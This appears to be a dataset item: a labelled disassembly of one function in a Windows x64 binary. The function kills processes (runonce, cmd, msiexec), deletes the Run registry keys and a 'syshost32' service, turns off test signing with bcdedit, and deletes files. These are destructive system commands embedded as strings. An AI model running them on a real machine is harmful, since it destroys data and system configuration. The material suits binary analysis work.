Function at 0x140003590
Capabilities:
Accept command line arguments
Create process on windows
Delete file
Get common file path
Move file
Open clipboard
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 0x20], r12
push rbp
push r13
push r14
lea rbp, [rsp - 0x1190]
mov eax, 0x1290
call fcn.14000cb00
sub rsp, rax
mov rax, qword [0x1400731f0]
xor rax, rsp
mov qword [rbp + 0x1180], rax
xor edx, edx
lea r9, str.NitrGB
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor edx, edx
lea r9, str.GlobalNitrGB
lea r8d, [rdx + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
call qword [sym.imp.USER32.dll_CloseClipboard]
call qword [sym.imp.USER32.dll_GetInputState]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PostThreadMessageA]
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageA]
lea rcx, [rbp + 0x102]
xor r13d, r13d
xor edx, edx
mov r8d, 0xc6
mov word [rbp + 0x100], r13w
call fcn.14000cb60
call fcn.140003210
lea r14, str.___xyz___
lea r12, [0x140000000]
mov ecx, r13d
test al, al
je 0x140003690
nop dword [rax]
movzx eax, word [rcx + r14]
add rcx, 2
mov word [rbp + rcx + 0xfe], ax
test ax, ax
jne 0x140003670
jmp 0x1400036aa
movzx eax, word [rcx + r12 + 0x600a8]
add rcx, 2
mov word [rbp + rcx + 0xfe], ax
test ax, ax
jne 0x140003690
lea r8, [rbp + 0x100]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
test rax, rax
jne 0x140003cf8
mov qword [rsp + 0x12b0], rbx
lea r8, [rbp + 0x100]
lea edx, [rax + 1]
xor ecx, ecx
mov qword [rsp + 0x12b8], rsi
mov qword [rsp + 0x12c0], rdi
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
lea rcx, [rbp + 0x562]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x560], r13w
call fcn.14000cb60
lea rdx, [rbp + 0x560]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.mmc.exe
lea rcx, [rbp + 0x560]
call fcn.14000b480
test rax, rax
jne 0x14000379a
mov eax, dword [0x1400600a0]
movups xmm0, xmmword [str.CMD__C_RD__TEMP___S_Q__MKDIR__TEMP_]
movups xmm1, xmmword [0x140060090]
mov dword [rbp - 0x80], eax
movzx eax, byte [0x1400600a4]
lea rcx, [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x70], xmm1
mov byte [rbp - 0x7c], al
xor eax, eax
xor edx, edx
mov qword [rbp - 0x7b], rax
mov qword [rbp - 0x73], rax
mov qword [rbp - 0x6b], rax
mov qword [rbp - 0x63], rax
mov qword [rbp - 0x5b], rax
mov qword [rbp - 0x53], rax
mov qword [rbp - 0x4b], rax
mov dword [rbp - 0x43], eax
mov word [rbp - 0x3f], ax
mov byte [rbp - 0x3d], al
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.140003070
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, str.__zxcv
mov rcx, rax
call fcn.14000b480
test rax, rax
je 0x1400037f5
lea rcx, str.taskkill__f__im_runonce.exe
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.taskkill__f__im_runonce.exe
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.taskkill__f__im_cmd.exe
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.taskkill__f__im_cmd.exe
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov esi, 0xa
mov edi, esi
nop dword [rax]
call fcn.140002d60
call fcn.140002bc0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
dec rdi
jne 0x140003800
nop word [rax + rax]
lea rcx, str.AfxMDIFrame42
xor edx, edx
call qword [sym.imp.USER32.dll_FindWindowW]
lea rdx, str.1___My11
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.USER32.dll_FindWindowW]
mov rdi, rax
test rbx, rbx
je 0x140003863
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
lea edx, [r9 + 0x12]
call qword [sym.imp.USER32.dll_PostMessageA]
mov byte [0x140074850], 1
test rdi, rdi
je 0x140003882
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 0x12]
call qword [sym.imp.USER32.dll_PostMessageA]
mov byte [0x140074850], 1
test rbx, rbx
je 0x14000389a
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
lea edx, [r9 + 0x10]
call qword [sym.imp.USER32.dll_PostMessageA]
test rdi, rdi
je 0x1400038b2
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 0x10]
call qword [sym.imp.USER32.dll_PostMessageA]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 0x10]
call qword [sym.imp.USER32.dll_SendMessageA]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x12]
mov rcx, rbx
call qword [sym.imp.USER32.dll_SendMessageA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
dec rsi
jne 0x140003820
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, str.__zxcv
mov rcx, rax
call fcn.14000b480
test rax, rax
jne 0x14000391e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x3a980
jbe 0x14000391e
call fcn.140001680
call fcn.140003210
test al, al
jne 0x140003958
call fcn.1400032c0
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, r14
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
test rax, rax
je 0x140003958
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [str.reg_delete__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun___f]
movaps xmm1, xmmword [0x14005ffc0]
lea rcx, [rbp + 0x480]
xor edx, edx
mov r8d, 0xdc
movaps xmmword [rbp + 0x430], xmm0
movaps xmm0, xmmword [0x14005ffd0]
movaps xmmword [rbp + 0x440], xmm1
movaps xmm1, xmmword [0x14005ffe0]
movaps xmmword [rbp + 0x450], xmm0
movaps xmm0, xmmword [0x14005fff0]
movaps xmmword [rbp + 0x470], xmm0
movaps xmmword [rbp + 0x460], xmm1
call fcn.14000cb60
movzx eax, byte [0x14005ffa0]
lea rcx, [rbp + 0x351]
movaps xmm0, xmmword [str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___f]
movaps xmm1, xmmword [0x14005ff60]
xor edx, edx
mov r8d, 0xdb
mov byte [rbp + 0x350], al
movaps xmmword [rbp + 0x300], xmm0
movaps xmm0, xmmword [0x14005ff70]
movaps xmmword [rbp + 0x310], xmm1
movaps xmm1, xmmword [0x14005ff80]
movaps xmmword [rbp + 0x320], xmm0
movaps xmm0, xmmword [0x14005ff90]
movaps xmmword [rbp + 0x340], xmm0
movaps xmmword [rbp + 0x330], xmm1
call fcn.14000cb60
mov eax, dword [0x14005ff48]
lea rcx, [rbp + 0x22d]
movaps xmm0, xmmword [str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun___f]
movaps xmm1, xmmword [0x14005ff00]
mov dword [rbp + 0x228], eax
movzx eax, byte [0x14005ff4c]
xor edx, edx
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmm0, xmmword [0x14005ff10]
movaps xmmword [rbp + 0x1e0], xmm1
mov r8d, 0xcf
mov byte [rbp + 0x22c], al
movaps xmm1, xmmword [0x14005ff20]
movaps xmmword [rbp + 0x1f0], xmm0
movaps xmm0, xmmword [0x14005ff30]
movaps xmmword [rbp + 0x200], xmm1
movaps xmmword [rbp + 0x210], xmm0
movsd xmm1, qword [0x14005ff40]
movsd qword [rbp + 0x220], xmm1
call fcn.14000cb60
movaps xmm0, xmmword [str.CMD__C__WINDIR__sysnative_reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___f]
movaps xmm1, xmmword [0x14005fe90]
movzx eax, word [0x14005fee8]
lea rcx, [rbp + 0x3b]
xor edx, edx
mov word [rbp + 0x38], ax
movzx eax, byte [0x14005feea]
mov r8d, 0xc1
movaps xmmword [rbp - 0x30], xmm0
movaps xmm0, xmmword [0x14005fea0]
movaps xmmword [rbp - 0x20], xmm1
mov byte [rbp + 0x3a], al
movaps xmm1, xmmword [0x14005feb0]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm0, xmmword [0x14005fec0]
movaps xmmword [rbp], xmm1
movaps xmm1, xmmword [0x14005fed0]
movaps xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x14005fee0]
movsd qword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm1
call fcn.14000cb60
lea rcx, [rbp + 0x430]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0x300]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0x1d0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.sc_delete_syshost32
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea r9, str._set_TESTSIGNING_OFF
lea r8, str.bcdedit
lea rdx, str.open
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, str.taskkill__f__im_msiexec.exe
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.140001330
call fcn.140001530
lea rcx, [rbp + 0x770]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [rbp + 0x770]
mov word [rbp + 0x774], r13w
call fcn.140002460
call fcn.140002800
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x140074c78], r13d
mov esi, r13d
jle 0x140003cbc
nop
lea rcx, [rbp + 0x982]
xor edx, edx
mov r8d, 0x7fe
mov word [rbp + 0x980], r13w
call fcn.14000cb60
movsxd rdx, esi
imul rdx, rdx, 0x208
lea rbx, [rdx + r12 + 0x74d90]
lea rdx, [rbp + 0x980]
sub rdx, rbx
mov rcx, rbx
nop dword [rax + rax]
movzx eax, word [rcx]
add rcx, 2
mov word [rdx + rcx - 2], ax
test ax, ax
jne 0x140003c20
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x980]
repne scasw ax, word [rdi]
mov rax, qword [0x14005fe00]
lea rdx, [rbp + 0x980]
mov r8d, 3
mov rcx, rbx
mov qword [rdi - 2], rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
lea rcx, [rbp + 0x980]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, 0x80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0x980]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x980]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
inc esi
cmp esi, dword [0x140074c78]
jl 0x140003be0
mov rsi, qword [rsp + 0x12b8]
mov rbx, qword [rsp + 0x12b0]
mov rdi, qword [rsp + 0x12c0]
mov rcx, qword [rbp + 0x1180]
xor rcx, rsp
call fcn.14000cad0
mov r12, qword [rsp + 0x12c8]
add rsp, 0x1290
pop r14
pop r13
pop rbp
ret
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x100]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]